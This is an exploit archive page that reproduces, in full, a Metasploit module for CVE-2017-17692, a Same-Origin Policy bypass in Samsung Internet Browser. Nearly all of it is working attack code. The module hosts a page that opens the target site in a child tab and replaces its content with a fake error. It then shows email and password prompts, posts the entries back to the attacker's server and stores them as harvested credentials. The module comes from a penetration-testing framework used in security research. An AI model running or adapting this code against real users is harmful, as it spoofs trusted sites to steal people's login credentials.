what you don't know can hurt you

Samsung Internet Browser SOP Bypass

Samsung Internet Browser SOP Bypass
Posted Dec 20, 2017
Authored by Tod Beardsley, Jeffrey Martin, Mishra Dhiraj

This Metasploit module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the Samsung Internet Browser, a popular mobile browser shipping with Samsung Android devices. By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather credentials via a fake pop-up.

tags | exploit, bypass
advisories | CVE-2017-17692
MD5 | 91bfa1cba09b3c4c4fa53ef3b84ecd59

Samsung Internet Browser SOP Bypass

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Samsung Internet Browser SOP Bypass',
'Description' => %q(
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the
Samsung Internet Browser, a popular mobile browser shipping with Samsung Android devices.
By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather
credentials via a fake pop-up.
),
'License' => MSF_LICENSE,
'Author' => [
'Dhiraj Mishra', # Original discovery, disclosure
'Tod Beardsley', # Metasploit module
'Jeffrey Martin' # Metasploit module
],
'References' => [
[ 'CVE', '2017-17692' ],
['URL', 'http://fr.0day.today/exploit/description/28434']
],
'DisclosureDate' => 'Nov 08 2017',
'Actions' => [[ 'WebServer' ]],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer'
)
)

register_options([
OptString.new('TARGET_URL', [
true,
'The URL to spoof origin from.',
'http://example.com/'
]),
OptString.new('CUSTOM_HTML', [
true,
'HTML to display to the victim.',
'This page has moved. Please <a href="#">click here</a> to redirect your browser.'
])
])

register_advanced_options([
OptString.new('CUSTOM_JS', [
false,
"Custom Javascript to inject as the go() function. Use the variable 'x' to refer to the new tab.",
''
])
])

end

def run
exploit # start http server
end

def evil_javascript
return datastore['CUSTOM_JS'] unless datastore['CUSTOM_JS'].blank?
js = <<-EOS
setTimeout(function(){
x.document.body.innerHTML='<h1>404 Error</h1>'+
'<p>Oops, something went wrong.</p>';
a=x.prompt('E-mail','');
b=x.prompt('Password','');
var cred=JSON.stringify({'user':a,'pass':b});
var xmlhttp = new XMLHttpRequest;
xmlhttp.open('POST', window.location, true);
xmlhttp.send(cred);
}, 3000);
EOS
js
end

def setup
@html = <<-EOS
<html>
<meta charset="UTF-8">
<head>
<script>
function go(){
try {
var x = window.open('#{datastore['TARGET_URL']}');
#{evil_javascript}
} catch(e) { }
}
</script>
</head>
<body onclick="go()">
#{datastore['CUSTOM_HTML']}
</body></html>
EOS
end

def store_cred(username,password)
credential_data = {
origin_type: :import,
module_fullname: self.fullname,
filename: 'msfconsole',
workspace_id: myworkspace_id,
service_name: 'web_service',
realm_value: datastore['TARGET_URL'],
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
private_type: :password,
private_data: password,
username: username
}
create_credential(credential_data)
end

# This assumes the default schema is being used.
# If it's not that, it'll just display the collected POST data.
def collect_data(request)
cred = JSON.parse(request.body)
u = cred['user']
p = cred['pass']
if u.blank? || p.blank?
print_good("#{cli.peerhost}: POST data received from #{datastore['TARGET_URL']}: #{request.body}")
else
print_good("#{cli.peerhost}: Collected credential for '#{datastore['TARGET_URL']}' #{u}:#{p}")
store_cred(u,p)
end
end

def on_request_uri(cli, request)
case request.method.downcase
when 'get' # initial connection
print_status("#{cli.peerhost}: Request '#{request.method} #{request.uri}'")
print_status("#{cli.peerhost}: Attempting to spoof origin for #{datastore['TARGET_URL']}")
send_response(cli, @html)
when 'post' # must have fallen for it
collect_data(request)
else
print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
end
end

end

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